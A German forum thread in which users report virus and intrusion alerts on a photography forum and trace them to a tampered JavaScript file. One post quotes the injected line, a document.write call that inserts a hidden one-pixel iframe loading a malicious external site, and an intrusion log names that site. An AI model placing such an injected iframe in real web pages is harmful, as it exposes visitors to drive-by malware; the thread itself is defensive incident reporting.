Virus Alert bei Bannerwerbung

[Georgius]

So, jetzt hatte ich auch eine Virenmeldung.
FF wollte ein Plugin haben. Es war aber nicht zu ermitteln welches Plugin es wollte.
Vorher hat mein Virenscanner auch Alarm geschlagen.
Den Link

http://jewelrynoir.ce.ms/showthread.php?t=10480506

hab ich lt. AdBlockplus auf jeder Seite, im Quellencode kann ich aber nichts davon finden.

 

[Gast_99693]

Den Link ... hab ich lt. AdBlockplus auf jeder Seite

Frage: Wo im ABP kann man das sehen? Ich kann da nur die Treffer der Filterregeln sehen... Ich hab Dr. Evils Liste und easylist abboniert und konnte da nichts sehen.

im Quellencode kann ich aber nichts davon finden.

Ja, geht mir genauso. Sehr merkwürdig. Ist vielleicht eine Weiterleitung oder so, die man nicht direkt im HTML-Quellcode, sondern nur in den HTTP-Headern sehen kann.

 

[Georgius]

Frage: Wo im ABP kann man das sehen? Ich kann da nur die Treffer der Filterregeln sehen... Ich hab Dr. Evils Liste und easylist abboniert und konnte da nichts sehen.

Blockbare Elemente öffnen ... STRG+Shift+V

 

[interface01]

Das hat sich im referenzierten Javascript versteckt:

Quelltext:

<script type="text/javascript" src="clientscript/yui/connection/connection-min.js?v=386"></script>

Javascript-Datei - erste Zeile:

document.write('<iframe src="http://jewelrynoir.ce.ms/showthread.php?t=10480506" width="1" height="1" frameborder="0"></iframe>');

 

[Josef17]

Antivir muckt nicht, alles im grünen Bereich

 

[Gast_99693]

Blockbare Elemente öffnen ... STRG+Shift+V

Danke, jetzt sehe ichs auch. Typ: Frame.

Das hat sich im referenzierten Javascript versteckt:

Ach Du Sch... also doch schon wieder (?) ein IFrame. Was ist hier los?

@scorpio: Sag mal, könnte es sein, dass irgendjemand unbemerkt Zugriff auf den eigentlichen Web-Server des Forums erlangt hat, wo die statischen HTML/CSS/JS-Seiten liegen? Also keine Lücke im vBulletin, sondern z.B. in der Administrationssoftware (o.ä.) des Server-Rechners? Nur so eine Idee... wäre aber eine Möglichkeit, wie jemand Iframes im Quellcode verstecken könnte.

Edit: Eben gerade beim Abschicken der Änderung ("@scorpio...") wieder die Warnmeldung von NIS bekommen. Scheint jetzt also auch ab und zu bei gleichbleibender IP zu passieren.

Zur Info hier die Ausgabe von NIS (meine IP hab ich ausgeixt):

Kategorie:Intrusion Prevention
Datum/Uhrzeit,Risiko,Aktivität,Status,Empfohlene Aktion,Name der IPS-Warnung,Standardaktionen,Durchgeführte Aktion,Angreifender Computer,Angreifer-URL,Zieladresse,Quelladresse,Beschreibung des Datenverkehrs
15.05.2011 15:13,Hoch,Ein Eindringversuch von jewelrynoir.ce.ms wurde blockiert.,Blockiert,Keine Aktion erforderlich,Web Attack: Malicious Toolkit Website 9,Keine Aktion erforderlich,Keine Aktion erforderlich,"jewelrynoir.ce.ms (89.208.34.118, 80)",jewelrynoir.ce.ms/showthread.php?t=10480506,"xxx (xxx.xxx.xxx.xxx, 3668)",89.208.34.118 (89.208.34.118),"TCP, www-http"

 

[Gast_127600]

Ich bekomme nachwievor keine Meldung von Antivir.

 

[AdO089]

So, mein Kaspersky hat auch angeschlagen als ich das Forum aufgerufen hatte. Bei mir war es aber keine Viren- sondern eine Trojaner-Warnung.

Ich benutze auch nicht Firefox sondern Opera 11.10, mit Win XP SP3.

Irgendwo ist noch etwas ins Forum eingebaut, da ja das iframe entfernt wurde,...

Gruß,
Andi

 

[interface01]

Irgendwo ist noch etwas ins Forum eingebaut, da ja das iframe entfernt wurde,...

Anscheinend gibt einen neuen.
Siehe https://www.dslr-forum.de/showpost.php?p=8287225&postcount=304

 

[scorpio]

Wir sind dran.
Wir können das Board aber nicht abschalten, da wir Eure Rückmeldungen brauchen.

 

[Gast_99693]

Anscheinend gibt einen neuen.

Oder alten! Wenn ich die URL hxxp://www.dslr-forum.de/clientscript/yui/connection/connection-min.js?v=386 angebe, sagt Firefox mir bei den Seiteninformationen: Dienstag, 11. Januar 2011 09:08:12. Aber vielleicht ist ja zusammen mit der Datei auch deren letztes Änderungsdatum manipuliert worden.
Ok, das nehm ich zurück, das Iframe ist jetzt verschwunden, ich nehme also an, das vor ein paar Minuten die Originalversion der Datei zurückgespielt wurde, und die habe ich gesehen, richtig?

AdBlockPlus zeigt den Link jetzt auch nicht mehr an. IP-Neustart probiere ich gleich auch nochmal aus.

 

[AdO089]

Ja, aber dann muss es doch eine Sicherheitslücke geben, die es ermöglicht das Board immer wieder aufs neue zu Hacken?

Gruß,
Andi

 

[Gast_99693]

Ja, aber dann muss es doch eine Sicherheitslücke geben, die es ermöglicht das Board immer wieder aufs neue zu Hacken?

Das ist auch meine Befürchtung, siehe hier.

AdBlockPlus zeigt den Link jetzt auch nicht mehr an. IP-Neustart probiere ich gleich auch nochmal aus.

Quellcode sauber, AdBlockPlus zeigt nichts, IP-Neustart: Keine NIS-Meldung mehr. Forum scheint wieder sauber zu sein.

Das Forum ist zur Zeit übrigens teilweise extrem langsam (Wartezeiten), hängt das evtl. mit den Änderungen zusammen?

 

[Bawire]

Bei mir kommt auch keine Meldung mehr

 

[interface01]

das Iframe ist jetzt verschwunden, ich nehme also an, das vor ein paar Minuten die Originalversion der Datei zurückgespielt wurde, und die habe ich gesehen, richtig?

Wahrscheinlich - besagte Javascript-Datei ist wieder sauber.

Näheres wird aber Scorpio wissen.


Edit: Ich empfehle dennoch den Browserverlauf zu löschen, da auch Javascript-Dateien in selbigen geladen werden.

 

[knipskurt]

Nach neuerlichem IP Neustart kein Hinweis mehr auf fehlendes Plugin.

 

[Gast_112574]

Nach neuerlichem IP Neustart kein Hinweis mehr auf fehlendes Plugin.

Schade, ich habe eben auch einen Neustart des Routers durchführt um zu sehen ob die Meldung dann auch bei mir auftritt obwohl ich eine Feste IP auf meinem Zugang habe.

 

[eifelthommy]

Wir sind dran.
Wir können das Board aber nicht abschalten, da wir Eure Rückmeldungen brauchen.

Nach dem Motto "Wir brauchen die ahnungslosen Passanten, um zu sehen, wo sich der Heckenschütze versteckt"? Sorry, Crowdsourcing schön und gut aber das kann ja wohl nicht sein! Eine Warnung mit einem Link zum Forum für die, die sich sicher glauben ist meines Erachtens das höchste der Gefühle - alles andere ist grob fahrlässig!

Gruß
thommy

PS: Ich habe Java und JavaScript deaktiviert, bis sich das hier geklärt hat.

 

[scorpio]

PS: Ich habe Java und JavaScript deaktiviert, bis sich das hier geklärt hat.

Es ist längst alles wieder bereinigt, wie Du lesen kannst.

Und eine Bitte habe ich an Dich:
Kannst Du mir erklären, wie wir Rückmeldungen der Nutzer erhalten, ob alles wieder ok ist, wenn wir sie gar nicht ins Board lassen?
Danke.

 

[eifelthommy]

Es ist längst alles wieder bereinigt, wie Du lesen kannst.

Und eine Bitte habe ich an Dich:
Kannst Du mir erklären, wie wir Rückmeldungen der Nutzer erhalten, ob alles wieder ok ist, wenn wir sie gar nicht ins Board lassen?
Danke.

Das ist unerheblich. Auch beim letzten mal war hier wieder "alles in Ordnung". Trial and error kann hier nicht die Vorgehensweise sein! Hier wird wohl möglich zig-fach Schaden angerichtet - und das DARF nicht sein. Bevor die Lücke nicht gefunden ist, kann man das doch nicht einfach weiterlaufen lassen!